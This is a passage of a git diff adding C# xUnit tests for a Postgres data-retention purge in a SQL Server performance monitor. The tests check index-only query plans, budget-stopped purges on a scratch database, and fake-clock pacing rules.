+    private static async Task SeedAsync(NpgsqlConnection connection, string table, DateTime utcNow, CancellationToken ct)
+    {
+        var extra = table.EndsWith("procedure_stats", StringComparison.Ordinal)
+            ? "object_name, schema_name"
+            : "sql_handle, database_name";
+        var extraValues = table.EndsWith("procedure_stats", StringComparison.Ordinal)
+            ? "'proc_' || (g % 50), 'dbo'"
+            : "'0x' || md5(g::text), 'db_' || (g % 4)";
+        await using var insert = new NpgsqlCommand(
+            "INSERT INTO " + table + " (collection_id, collection_time, server_id, server_name, " + extra + ", delta_worker_time, sample_interval_seconds) "
+            + "SELECT 1, $1 - make_interval(secs => (g % 7000)), 1 + g % 3, 'restart-row-index-e2eA', " + extraValues + ", g, "
+            + "CASE WHEN g % " + RestartEvery.ToString(CultureInfo.InvariantCulture) + " = 0 THEN 0 ELSE 60 END "
+            + "FROM generate_series(1, " + RowsPerTable.ToString(CultureInfo.InvariantCulture) + ") AS g", connection);
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = utcNow });
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static NpgsqlCommand Bind(string sql, NpgsqlConnection connection, DateTime start, DateTime end)
+    {
+        var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(start, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(end, DateTimeKind.Unspecified) });
+        return command;
+    }
+
+    private static async Task<int> RunAsync(NpgsqlConnection connection, string sql, DateTime start, DateTime end, CancellationToken ct)
+    {
+        await using var command = Bind(sql, connection, start, end);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var rows = 0;
+        while (await reader.ReadAsync(ct))
+        {
+            Assert.Equal(0, reader.GetInt32(reader.FieldCount - 1));
+            rows++;
+        }
+
+        return rows;
+    }
+
+    private static async Task AssertReaderAsync(NpgsqlConnection connection, string sql, string indexName, DateTime start, DateTime end, int expectedRows, CancellationToken ct)
+    {
+        Assert.Equal(expectedRows, await RunAsync(connection, sql, start, end, ct));
+
+        await using var explain = Bind("EXPLAIN (FORMAT JSON) " + sql, connection, start, end);
+        var json = (string)(await explain.ExecuteScalarAsync(ct))!;
+        using var doc = JsonDocument.Parse(json);
+        var reads = new List<(string NodeType, string Index)>();
+        var heapScans = new List<string>();
+        Collect(doc.RootElement[0].GetProperty("Plan"), reads, heapScans);
+
+        Assert.True(reads.Count > 0, "no index read found in the plan:\n" + json);
+        Assert.All(reads, r => Assert.Contains(indexName, r.Index, StringComparison.Ordinal));
+        Assert.True(heapScans.Count == 0, "the plan scans the heap (" + string.Join(", ", heapScans) + "):\n" + json);
+    }
+
+    /// <summary>
+    /// Nodes a plan of a restart-row read may contain: index reads, the bitmap heap fetch that follows a bitmap
+    /// index scan, and the plumbing that joins chunks. Any other node, a Seq Scan, a Tid Scan, a Sample Scan or a
+    /// Custom Scan that decompresses a chunk, fails the plan. This test seeds one uncompressed chunk, so it says
+    /// nothing about compressed chunks.
+    /// </summary>
+    private static readonly HashSet<string> AllowedNodes = new(StringComparer.Ordinal)
+    {
+        "Index Scan", "Index Only Scan", "Bitmap Index Scan", "Bitmap Heap Scan", "Append", "Result", "Custom Scan (ChunkAppend)",
+    };
+
+    /// <summary>
+    /// Walks the plan. Every node must be on the allow-list; every index node must read the chunk's copy of the
+    /// partial index (the chunk index name carries the index name). A Bitmap Heap Scan is fine when its child is
+    /// the Bitmap Index Scan on that index.
+    /// </summary>
+    private static void Collect(JsonElement node, List<(string, string)> reads, List<string> heapScans)
+    {
+        var type = node.GetProperty("Node Type").GetString()!;
+        if (node.TryGetProperty("Custom Plan Provider", out var provider) && type == "Custom Scan")
+        {
+            type += " (" + provider.GetString() + ")";
+        }
+
+        if (!AllowedNodes.Contains(type))
+        {
+            heapScans.Add(type + " on " + (node.TryGetProperty("Relation Name", out var r) ? r.GetString() : "?"));
+        }
+        else if (type is "Index Scan" or "Index Only Scan" or "Bitmap Index Scan")
+        {
+            reads.Add((type, node.GetProperty("Index Name").GetString()!));
+        }
+
+        if (node.TryGetProperty("Plans", out var children))
+        {
+            foreach (var child in children.EnumerateArray())
+            {
+                Collect(child, reads, heapScans);
+            }
+        }
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection c, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        return await cmd.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task Exec(NpgsqlConnection c, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/RetentionCollectionYieldLiveTests.cs b/Darling/Darling.Tests/RetentionCollectionYieldLiveTests.cs
new file mode 100644
index 0000000000..11037db819
--- /dev/null
+++ b/Darling/Darling.Tests/RetentionCollectionYieldLiveTests.cs
@@ -0,0 +1,186 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5592's live test: a real purge, through the product's own sweep, whose wall budget runs out part-way through a
+/// table. The pass has to leave the rest of that table's rows, say in its run record that it stopped on its budget,
+/// and leave the next pass to take the rows that are left. The clock is derived from the rows deleted so far (20 s
+/// per 1,000), so the stop lands on the same batch on every run. Gated on <c>DARLING_TEST_PG</c>; CI sets it, a bare
+/// machine skips.
+/// </summary>
+/* #1776 own-store: mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection. */
+public sealed class RetentionCollectionYieldLiveTests
+{
+    private const int SeededRows = 5_000;
+    private const int BatchRows = 1_000;
+    private const string MapTable = "collect.query_store_plan_map";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private sealed class NeverBehind : ICollectionPressure
+    {
+        public string? BehindReason() => null;
+    }
+
+    private sealed class MustNotBeRead : ICollectionPressure
+    {
+        public string? BehindReason() => throw new InvalidOperationException("an unpaced pass read the collection signal");
+    }
+
+    private static async Task SeedExpiredMapRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var expiredStamp = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified).AddDays(-400);
+        await using var seed = new NpgsqlCommand(
+            "INSERT INTO collect.query_store_plan_map (server_id, database_name, plan_id, digest, plan_hash, last_seen) " +
+            "SELECT 1, 'db', gs, ('\\x' || lpad(to_hex(gs), 8, '0'))::bytea, 'h' || gs, $2 " +
+            "FROM generate_series(1, $1) gs", connection);
+        seed.Parameters.AddWithValue(SeededRows);
+        seed.Parameters.AddWithValue(expiredStamp);
+        await seed.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> MapRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var count = new NpgsqlCommand($"SELECT COUNT(*) FROM {MapTable}", connection);
+        return (long)(await count.ExecuteScalarAsync(ct))!;
+    }
+
+    private static RetentionWalPacer NoWaitPacer() =>
+        new(rateBytesPerSecond: 1_000_000_000, delay: (_, _) => Task.CompletedTask);
+
+    [Fact]
+    public async Task ABudgetStoppedPass_LeavesTheRemainingRows_AndTheNextPassRemovesThem()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the #5592 live budget test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await SeedExpiredMapRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* Fake time that follows the work: 20 s per 1,000 rows deleted from the map. A 50 s budget is spent after the
+           third full batch (60 s), so the fourth batch is the one the budget stops. Every table before the map is
+           empty, so it costs no time, and every table after it is not reached. */
+        double WorkClock()
+        {
+            using var count = new NpgsqlCommand($"SELECT COUNT(*) FROM {MapTable}", connection);
+            var remaining = (long)count.ExecuteScalar()!;
+            return (SeededRows - remaining) / (double)BatchRows * 20;
+        }
+
+        var pacerOne = NoWaitPacer();
+        pacerOne.Yield = new RetentionCollectionYield(
+            new NeverBehind(), TimeSpan.FromSeconds(50), logger: null,
+            delay: (_, _) => Task.CompletedTask, secondsClock: WorkClock);
+        var firstLog = new CapturingTestLogger();
+
+        var first = await DarlingRetention.PurgeWithPacerAsync(
+            postgres, timescaleAvailable: false, firstLog, ct,
+            retentionDaysFor: null, planContentRetentionDays: 0,
+            livenessTouchedTablePruneRowCap: BatchRows, walPacer: pacerOne);
+
+        Assert.Equal(3 * BatchRows, first.RowsDeleted);
+        Assert.Equal(SeededRows - 3 * BatchRows, await MapRowsAsync(connection, ct));
+        Assert.True(pacerOne.Yield.StoppedOnBudget, firstLog.Joined);
+        Assert.Equal("collect.query_store_plan_map", pacerOne.Yield.FirstStoppedTable);
+        Assert.Contains(firstLog.Lines, l => l.Contains("Retention purge stopped at its", StringComparison.Ordinal)
+            && l.Contains("query_store_plan_map", StringComparison.Ordinal));
+
+        await using (var record = new NpgsqlCommand(
+            "SELECT error_message FROM collect.collection_log WHERE collector_name = $1 ORDER BY collection_time DESC LIMIT 1",
+            connection))
+        {
+            record.Parameters.AddWithValue("data_retention");
+            var text = (string?)await record.ExecuteScalarAsync(ct);
+            Assert.NotNull(text);
+            Assert.Contains("time budget in collect.query_store_plan_map", text, StringComparison.Ordinal);
+            Assert.Contains("the next pass continues from the rows left", text, StringComparison.Ordinal);
+        }
+
+        /* The next pass: a fresh gate with room to finish. It takes exactly the rows that were left. */
+        var pacerTwo = NoWaitPacer();
+        pacerTwo.Yield = new RetentionCollectionYield(
+            new NeverBehind(), TimeSpan.FromHours(1), logger: null,
+            delay: (_, _) => Task.CompletedTask);
+        var secondLog = new CapturingTestLogger();
+
+        var second = await DarlingRetention.PurgeWithPacerAsync(
+            postgres, timescaleAvailable: false, secondLog, ct,
+            retentionDaysFor: null, planContentRetentionDays: 0,
+            livenessTouchedTablePruneRowCap: BatchRows, walPacer: pacerTwo);
+
+        Assert.Equal(SeededRows - 3 * BatchRows, second.RowsDeleted);
+        Assert.Equal(0L, await MapRowsAsync(connection, ct));
+        Assert.False(pacerTwo.Yield.StoppedOnBudget, secondLog.Joined);
+    }
+
+    /// <summary>
+    /// A paced <see cref="DarlingRetention.PurgeAsync"/> with a signal and a spent budget attaches the rule to the
+    /// pacer it builds: nothing is deleted and the record says why. The same call with <c>paceWal</c> false ignores the
+    /// signal altogether and deletes everything, without reading it (the unpaced callers keep today's behavior).
+    /// </summary>
+    [Fact]
+    public async Task PurgeAsync_AttachesTheRuleOnAPacedRun_AndIgnoresItOnAnUnpacedOne()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the #5592 live wiring test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await SeedExpiredMapRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var log = new CapturingTestLogger();
+
+        /* Paced, budget already spent: the first table is not started, so nothing is deleted. */
+        var stopped = await DarlingRetention.PurgeAsync(
+            postgres, timescaleAvailable: false, log, ct,
+            retentionDaysFor: null, planContentRetentionDays: 0,
+            paceWal: true, collectionPressure: new NeverBehind(), wallBudget: TimeSpan.Zero);
+
+        /* The caveats prune is a direct statement, not a paced batch, so the budget does not gate it. It is the one table
+           this pass purged: every gated table the spent budget kept from starting is taken back out of the count (#5595
+           L4: without that subtraction the count is the 80-odd tables the loop walked, and without the entry skip the
+           record would say the pass stopped "in" the first table instead of before it). */
+        Assert.Equal(0, stopped.RowsDeleted);
+        Assert.Equal((long)SeededRows, await MapRowsAsync(connection, ct));
+        Assert.Equal(1, stopped.TablesPurged);
+        Assert.Contains(log.Lines, l => l.Contains("Retention purge stopped at its", StringComparison.Ordinal)
+            && l.Contains("time budget before ", StringComparison.Ordinal));
+
+        /* Unpaced: the same signal and budget are ignored, and the signal is never read. */
+        var unpaced = await DarlingRetention.PurgeAsync(
+            postgres, timescaleAvailable: false, log, ct,
+            retentionDaysFor: null, planContentRetentionDays: 0,
+            paceWal: false, collectionPressure: new MustNotBeRead(), wallBudget: TimeSpan.Zero);
+
+        Assert.Equal(SeededRows, unpaced.RowsDeleted);
+        Assert.Equal(0L, await MapRowsAsync(connection, ct));
+    }
+}
diff --git a/Darling/Darling.Tests/RetentionCollectionYieldTests.cs b/Darling/Darling.Tests/RetentionCollectionYieldTests.cs
new file mode 100644
index 0000000000..d33f7ff9c9
--- /dev/null
+++ b/Darling/Darling.Tests/RetentionCollectionYieldTests.cs
@@ -0,0 +1,922 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5592: the retention drain gives way to collection. Every test runs on a fake signal, a fake clock and a delay
+/// that only moves that clock, so nothing sleeps. The three rules each have a test that fails without its part: the
+/// wait while collection is behind, the pause scaled to the batch, and the wall budget.
+/// </summary>
+public sealed class RetentionCollectionYieldTests
+{
+    private sealed class FakeTime
+    {
+        public double Now;
+        public readonly List<string> Events = new();
+
+        public double Clock() => Now;
+
+        /// <summary>A 5 s delay is a re-check wait ("w"); anything else is a post-batch pause ("p").</summary>
+        public Task Delay(TimeSpan wait, CancellationToken cancellationToken)
+        {
+            cancellationToken.ThrowIfCancellationRequested();
+            Events.Add(Math.Abs(wait.TotalSeconds - RetentionCollectionYield.RecheckSeconds) < 1e-9 ? "w" : "p");
+            Now += wait.TotalSeconds;
+            return Task.CompletedTask;
+        }
+    }
+
+    private sealed class ScriptedPressure : ICollectionPressure
+    {
+        private readonly Queue<string?> _script;
+        private readonly string? _afterScript;
+
+        public ScriptedPressure(string? afterScript, params string?[] script)
+        {
+            _script = new Queue<string?>(script);
+            _afterScript = afterScript;
+        }
+
+        public int Reads { get; private set; }
+
+        public string? BehindReason()
+        {
+            Reads++;
+            return _script.Count > 0 ? _script.Dequeue() : _afterScript;
+        }
+    }
+
+    /// <summary>A table of expired rows: each batch takes up to <c>Cap</c> of them and costs <c>BatchSeconds</c> of fake time.</summary>
+    private sealed class FakeTable
+    {
+        private readonly FakeTime _time;
+        private readonly Queue<double>? _durations;
+
+        public FakeTable(FakeTime time, int rows, int cap = 100, double batchSeconds = 1, double[]? durations = null)
+        {
+            _time = time;
+            Rows = rows;
+            Cap = cap;
+            BatchSeconds = batchSeconds;
+            _durations = durations is null ? null : new Queue<double>(durations);
+        }
+
+        public int Rows { get; private set; }
+        public int Cap { get; }
+        public double BatchSeconds { get; }
+        public int Batches { get; private set; }
+
+        public Task<(int Deleted, int Cap, long WalBytes)> Execute(CancellationToken cancellationToken)
+        {
+            cancellationToken.ThrowIfCancellationRequested();
+            Batches++;
+            _time.Events.Add("b");
+            _time.Now += _durations is { Count: > 0 } ? _durations.Dequeue() : BatchSeconds;
+            var deleted = Math.Min(Cap, Rows);
+            Rows -= deleted;
+            return Task.FromResult((deleted, Cap, 0L));
+        }
+    }
+
+    private static RetentionCollectionYield GateOn(
+        FakeTime time, ICollectionPressure pressure, double budgetSeconds = 1_800, double pauseFactor = RetentionCollectionYield.PauseFactor) =>
+        new(pressure, TimeSpan.FromSeconds(budgetSeconds), logger: null, time.Delay, time.Clock, pauseFactor);
+
+    /// <summary>A WAL pacer that never waits and writes no WAL, carrying the gate the way a real paced pass does.</summary>
+    private static RetentionWalPacer PacerCarrying(RetentionCollectionYield? gate) =>
+        new(rateBytesPerSecond: 1_000_000_000, delay: (_, _) => Task.CompletedTask) { Yield = gate };
+
+    private static Task<int> Drain(FakeTable table, RetentionWalPacer? pacer, CancellationToken cancellationToken) =>
+        DarlingRetention.DrainBatchesAsync(table.Execute, pacer, cancellationToken);
+
+    /* ---- rule 1: before each batch, wait while collection is behind ---- */
+
+    [Fact]
+    public async Task Drain_WaitsWhileCollectionIsBehind_ThenRunsTheBatch()
+    {
+        var time = new FakeTime();
+        /* The first three reads say behind (the check before the batch, then two re-checks), the fourth says caught up. */
+        var pressure = new ScriptedPressure(null, "behind", "behind", "behind");
+        var gate = GateOn(time, pressure);
+        var table = new FakeTable(time, rows: 50);
+
+        var deleted = await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+
+        Assert.Equal(50, deleted);
+        Assert.Equal(new[] { "w", "w", "w", "b", "p" }, time.Events);
+        Assert.Equal(15, gate.TotalWaitSeconds);
+        Assert.Equal(4, pressure.Reads);
+    }
+
+    [Fact]
+    public async Task Drain_ChecksTheSignalBeforeEveryBatch_NotOnlyTheFirst()
+    {
+        var time = new FakeTime();
+        /* Batch 1 waits once, batch 2 twice, batch 3 once. */
+        var pressure = new ScriptedPressure(null, "x", null, "x", "x", null, "x", null);
+        var gate = GateOn(time, pressure);
+        var table = new FakeTable(time, rows: 250);
+
+        var deleted = await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+
+        Assert.Equal(250, deleted);
+        Assert.Equal(3, table.Batches);
+        Assert.Equal(new[] { "w", "b", "p", "w", "w", "b", "p", "w", "b", "p" }, time.Events);
+        Assert.Equal(20, gate.TotalWaitSeconds);
+    }
+
+    [Fact]
+    public async Task Drain_NeverReadsTheSignalWhenCollectionIsKeepingUp()
+    {
+        var time = new FakeTime();
+        var pressure = new ScriptedPressure(null);
+        var table = new FakeTable(time, rows: 250);
+
+        await Drain(table, PacerCarrying(GateOn(time, pressure)), TestContext.Current.CancellationToken);
+
+        Assert.DoesNotContain("w", time.Events);
+        Assert.Equal(3, pressure.Reads);
+    }
+
+    [Fact]
+    public async Task Drain_AFleetThatStaysBehindStillGetsOneBatchPerMaxWait()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure("behind"), budgetSeconds: 100_000);
+        var table = new FakeTable(time, rows: 50);
+
+        var deleted = await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+
+        Assert.Equal(50, deleted);
+        Assert.Equal(RetentionCollectionYield.MaxWaitSeconds, gate.TotalWaitSeconds);
+        Assert.Equal(60, time.Events.Count(e => e == "w"));
+        Assert.Equal(1, table.Batches);
+    }
+
+    /// <summary>One table's purge the way <c>PurgeOneAsync</c> does it: the entry check, the drain, then the table's record.</summary>
+    private static async Task<int> PurgeLikeTheSweep(RetentionCollectionYield gate, FakeTable table, string name, CancellationToken cancellationToken)
+    {
+        if (gate.SkipTableOnBudget(name))
+        {
+            return 0;
+        }
+
+        var drained = await Drain(table, PacerCarrying(gate), cancellationToken);
+        gate.FinishTable(name, drained);
+        return drained;
+    }
+
+    [Fact]
+    public async Task Pass_UnderASignalThatAlwaysReadsBehind_StillGivesEveryTableItsBatches_AndTheWaitsStopAtHalfTheBudget()
+    {
+        /* #5595 H1: 40 tables of one batch each, a signal that never clears, the real 30-minute budget. Uncapped, each
+           table's first batch waits 300 s and the pass starts 6 tables. Capped, the waits stop at 900 s (half the budget)
+           and the rest of the pass keeps only the pauses. */
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure("behind"));
+        var tables = Enumerable.Range(0, 40).Select(_ => new FakeTable(time, rows: 50)).ToList();
+
+        for (var i = 0; i < tables.Count; i++)
+        {
+            await PurgeLikeTheSweep(gate, tables[i], "t" + i, TestContext.Current.CancellationToken);
+        }
+
+        Assert.All(tables, t => Assert.Equal(1, t.Batches));
+        Assert.All(tables, t => Assert.Equal(0, t.Rows));
+        Assert.False(gate.StoppedOnBudget);
+        Assert.Equal(0, gate.TablesNotReached);
+        Assert.Equal(900, gate.TotalWaitSeconds);
+        Assert.Equal(180, time.Events.Count(e => e == "w"));
+        Assert.True(gate.WaitsCapped);
+
+        /* After the cap there is no wait at all, only batch and pause. */
+        var lastWait = time.Events.FindLastIndex(e => e == "w");
+        Assert.All(time.Events.Skip(lastWait + 1), e => Assert.NotEqual("w", e));
+        Assert.Equal(40, gate.TotalPauseSeconds);
+    }
+
+    [Fact]
+    public async Task Pass_TheCapCutsAWaitShort_WhenTheTotalReachesHalfTheBudgetInTheMiddleOfOne()
+    {
+        /* A 700 s budget caps the waits at 350 s: the first table waits its 300 s, the second only 50 s of its 300, and
+           the third none. */
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure("behind"), budgetSeconds: 700);
+        var tables = Enumerable.Range(0, 3).Select(_ => new FakeTable(time, rows: 50)).ToList();
+
+        for (var i = 0; i < tables.Count; i++)
+        {
+            await PurgeLikeTheSweep(gate, tables[i], "t" + i, TestContext.Current.CancellationToken);
+        }
+
+        Assert.All(tables, t => Assert.Equal(1, t.Batches));
+        Assert.Equal(350, gate.WaitCapSeconds);
+        Assert.Equal(350, gate.TotalWaitSeconds);
+        Assert.Equal(70, time.Events.Count(e => e == "w"));
+    }
+
+    [Fact]
+    public async Task Pass_SaysOncePerPassThatItStoppedWaiting()
+    {
+        var time = new FakeTime();
+        var log = new CapturingTestLogger();
+        var gate = new RetentionCollectionYield(
+            new ScriptedPressure("behind"), TimeSpan.FromSeconds(1_800), log, time.Delay, time.Clock, RetentionCollectionYield.PauseFactor);
+
+        for (var i = 0; i < 10; i++)
+        {
+            await PurgeLikeTheSweep(gate, new FakeTable(time, rows: 50), "t" + i, TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(1, log.Lines.Count(l => l.Contains("stops waiting and keeps only the pause", StringComparison.Ordinal)));
+        var note = gate.Describe();
+        Assert.NotNull(note);
+        Assert.Contains("stopped waiting at 15 minutes, half the time budget", note, StringComparison.Ordinal);
+    }
+
+    /* ---- rule 2: after each batch, pause for the batch's own run time ---- */
+
+    [Fact]
+    public async Task Drain_PausesForTheBatchsOwnRunTime()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null));
+        var table = new FakeTable(time, rows: 250, durations: new[] { 2.0, 8.0, 30.0 });
+
+        await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+
+        /* 2 + 8 + 30 s of batches, and a pause equal to each: the drain ran half the time. */
+        Assert.Equal(40, gate.TotalPauseSeconds);
+        Assert.Equal(80, time.Now);
+        Assert.Equal(new[] { "b", "p", "b", "p", "b", "p" }, time.Events);
+    }
+
+    [Fact]
+    public async Task Drain_ThePauseScalesWithTheFactor()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null), pauseFactor: 0.5);
+        var table = new FakeTable(time, rows: 200, durations: new[] { 4.0, 10.0 });
+
+        await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+
+        /* 4 s and 10 s batches, then the empty third batch that proves the table is drained (1 s): half of 15. */
+        Assert.Equal(7.5, gate.TotalPauseSeconds);
+    }
+
+    [Fact]
+    public async Task Drain_AMinutesLongBatchDoesNotStallThePassForAsLong()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null));
+        var table = new FakeTable(time, rows: 50, durations: new[] { 200.0 });
+
+        await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+
+        Assert.Equal(RetentionCollectionYield.MaxPauseSeconds, gate.TotalPauseSeconds);
+    }
+
+    [Fact]
+    public async Task Drain_ThePauseIsBeforeTheWalWait_SoTheTwoOverlap()
+    {
+        /* The WAL pacer refills by elapsed time, so a pause taken before its wait is time its bucket already refilled.
+           A 4 MiB/s pacer whose bucket (40 MiB) is already spent, then a 3 s batch that writes 24 MiB: the batch alone
+           leaves a 12 MiB debt after its own 3 s of refill, a 3 s wait. With the 3 s pause before the wait the refill is
+           24 MiB, so the debt is gone and the pacer waits 0 s: the pause absorbed the wait instead of adding to it. */
+        const long MiB = 1_048_576;
+        async Task<(double WalWait, List<string> Events)> Run(bool withPause)
+        {
+            var time = new FakeTime();
+            var pacer = new RetentionWalPacer(
+                rateBytesPerSecond: 4 * MiB,
+                delay: (wait, _) => { time.Events.Add("wal"); time.Now += wait.TotalSeconds; return Task.CompletedTask; },
+                secondsClock: time.Clock);
+            if (withPause)
+            {
+                pacer.Yield = GateOn(time, new ScriptedPressure(null));
+            }
+
+            await pacer.AfterBatchAsync(40 * MiB, TestContext.Current.CancellationToken);
+            var spentWait = pacer.TotalWaitSeconds;
+            var deleted = await DarlingRetention.DrainBatchesAsync(
+                ct =>
+                {
+                    time.Events.Add("b");
+                    time.Now += 3;
+                    return Task.FromResult((10, 100, 24 * MiB));
+                },
+                pacer,
+                TestContext.Current.CancellationToken);
+
+            Assert.Equal(10, deleted);
+            return (pacer.TotalWaitSeconds - spentWait, time.Events);
+        }
+
+        var without = await Run(withPause: false);
+        Assert.Equal(3, without.WalWait);
+        Assert.Equal(new[] { "b", "wal" }, without.Events);
+
+        var with = await Run(withPause: true);
+        Assert.Equal(0, with.WalWait);
+        Assert.Equal(new[] { "b", "p" }, with.Events);
+    }
+
+    [Fact]
+    public async Task Drain_ABatchThatThrowsStillGetsItsPause_ThenTheErrorReachesTheCaller()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null));
+
+        await Assert.ThrowsAsync<InvalidOperationException>(() => DarlingRetention.DrainBatchesAsync(
+            ct => { time.Events.Add("b"); time.Now += 3; throw new InvalidOperationException("statement timeout"); },
+            PacerCarrying(gate),
+            TestContext.Current.CancellationToken));
+
+        Assert.Equal(new[] { "b", "p" }, time.Events);
+        Assert.Equal(3, gate.TotalPauseSeconds);
+    }
+
+    [Fact]
+    public async Task Drain_CancellationDuringThePauseEndsTheDrain()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null));
+        using var cts = CancellationTokenSource.CreateLinkedTokenSource(TestContext.Current.CancellationToken);
+        var batches = 0;
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => DarlingRetention.DrainBatchesAsync(
+            ct => { batches++; time.Events.Add("b"); time.Now += 3; cts.Cancel(); return Task.FromResult((100, 100, 0L)); },
+            PacerCarrying(gate),
+            cts.Token));
+
+        /* The pause's delay saw the cancelled token: no pause was taken and no second batch ran. */
+        Assert.Equal(1, batches);
+        Assert.Equal(new[] { "b" }, time.Events);
+        Assert.Equal(0, gate.TotalPauseSeconds);
+    }
+
+    [Fact]
+    public async Task Drain_ABatchThatThrowsOnACancelledTokenGetsNoPause()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null));
+        using var cts = new CancellationTokenSource();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => DarlingRetention.DrainBatchesAsync(
+            ct => { cts.Cancel(); ct.ThrowIfCancellationRequested(); return Task.FromResult((0, 100, 0L)); },
+            PacerCarrying(gate),
+            cts.Token));
+
+        Assert.Equal(0, gate.TotalPauseSeconds);
+        Assert.Empty(time.Events);
+    }
+
+    /* ---- rule 3: a wall budget per pass ---- */
+
+    [Fact]
+    public async Task Drain_AStoppedPassLeavesTheRowsAndTheNextPassFinishesThem()
+    {
+        var time = new FakeTime();
+        var table = new FakeTable(time, rows: 1_000, cap: 100, batchSeconds: 10);
+
+        /* Pass 1: 50 s budget; each batch is 10 s plus a 10 s pause, so batches start at 0, 20 and 40 s. */
+        var gate1 = GateOn(time, new ScriptedPressure(null), budgetSeconds: 50);
+        var first = await Drain(table, PacerCarrying(gate1), TestContext.Current.CancellationToken);
+        gate1.FinishTable("t", first);
+
+        Assert.Equal(300, first);
+        Assert.Equal(700, table.Rows);
+        Assert.True(gate1.StoppedOnBudget);
+        Assert.Equal("t", gate1.FirstStoppedTable);
+        Assert.Equal(0, gate1.TablesNotReached);
+
+        /* Pass 2: a fresh gate, the same table: the rest. */
+        var gate2 = GateOn(time, new ScriptedPressure(null), budgetSeconds: 100_000);
+        var second = await Drain(table, PacerCarrying(gate2), TestContext.Current.CancellationToken);
+        gate2.FinishTable("t", second);
+
+        Assert.Equal(700, second);
+        Assert.Equal(0, table.Rows);
+        Assert.False(gate2.StoppedOnBudget);
+    }
+
+    [Fact]
+    public async Task Drain_TimeSpentWaitingCountsAgainstTheBudget()
+    {
+        var time = new FakeTime();
+        /* A 60 s budget: the wait before the first batch is capped at half of it (30 s), then each batch is 10 s plus a
+           10 s pause. Without the wait three batches would start (at 0, 20 and 40 s); with it the second starts at 50 s
+           and the third never does. */
+        var gate = GateOn(time, new ScriptedPressure("behind"), budgetSeconds: 60);
+        var table = new FakeTable(time, rows: 1_000, cap: 100, batchSeconds: 10);
+
+        var deleted = await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+        gate.FinishTable("t", deleted);
+
+        Assert.Equal(200, deleted);
+        Assert.Equal(2, table.Batches);
+        Assert.Equal(30, gate.TotalWaitSeconds);
